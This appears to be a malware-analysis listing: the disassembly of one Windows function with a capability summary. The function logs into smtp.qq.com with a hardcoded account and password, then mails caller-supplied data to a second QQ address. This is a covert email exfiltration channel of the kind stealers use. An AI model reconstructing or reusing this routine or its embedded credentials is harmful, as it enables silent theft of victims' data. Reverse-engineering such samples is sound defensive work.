Function at 0x40201a
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x560
mov eax, dword [str.smtp.qq.com]
mov dword [ebp - 0x1a8], eax
mov eax, dword [0x405084]
mov dword [ebp - 0x1a4], eax
mov eax, dword [0x405088]
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x1b0], 0
lea edx, [ebp - 0x238]
mov eax, 0x64
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sym._memset
lea edx, [ebp - 0x338]
mov eax, 0x100
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sym._memset
lea edi, [ebp - 0x538]
mov esi, str.From:_576859532_qq.com_r_nTo:_367137144_qq.com_r_nSubject:
cld
mov eax, 0xe
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea edx, [ebp - 0x500]
mov eax, 0x1c8
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], edx
call sym._memset
lea eax, [ebp - 0x198]
mov dword [esp + 4], eax
mov dword [esp], 0x202
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x402115
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], str.WSAStarup___failed._n
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x53c], 0
jmp 0x402439
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xffffffff
jne 0x402179
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], str.socket___failed._n
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x53c], 0
jmp 0x402439
lea eax, [ebp - 0x1a8]
mov dword [esp], eax
call sym._gethostbyname_4
sub esp, 4
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
je 0x4021c6
mov eax, dword [ebp - 0x1b0]
movsx eax, word [eax + 0xa]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1b0]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1ac]
mov dword [esp], eax
call sym._memcpy
jmp 0x4021fc
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], 0x4052b3
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x53c], 0
jmp 0x402439
mov word [ebp - 0x1c8], 2
mov dword [esp], 0x19
call sym._htons_4
sub esp, 4
mov word [ebp - 0x1c6], ax
mov eax, dword [ebp - 0x1ac]
mov dword [ebp - 0x1c4], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1c8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
cmp eax, 0xffffffff
jne 0x402285
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], 0
mov dword [esp + 4], str.connect___failed._n
mov dword [esp], 0
call sym._MessageBoxA_16
sub esp, 0x10
mov dword [ebp - 0x53c], 0
jmp 0x402439
mov dword [esp + 4], str.EHLO_suiyan_r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 4], str.AUTH_LOGIN_r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 4], str.576859532_qq.com
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._EncodeBase64
mov dword [esp + 4], 0x40530c
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._lstrcatA_8
sub esp, 8
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 8], 0x64
mov dword [esp + 4], 0
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], str.1991215316lym
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._EncodeBase64
mov dword [esp + 4], 0x40530c
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._lstrcatA_8
sub esp, 8
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 8], 0x64
mov dword [esp + 4], 0
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._memset
mov dword [esp + 4], str.MAIL_FROM:__576859532_qq.com__r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 4], str.RCPT_TO:__367137144_qq.com__r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 4], str.DATA_r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x538]
mov dword [esp + 8], eax
mov dword [esp + 4], str._s_s_r_n_r_n_s_r_n._r_n
lea eax, [ebp - 0x238]
mov dword [esp], eax
call sym._wsprintfA
lea eax, [ebp - 0x238]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov dword [esp + 4], str.QUIT_r_n
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._SendRcv
mov eax, dword [ebp - 0x1b4]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov dword [ebp - 0x53c], 1
mov eax, dword [ebp - 0x53c]
lea esp, [ebp - 8]
pop esi
pop edi
pop ebp
ret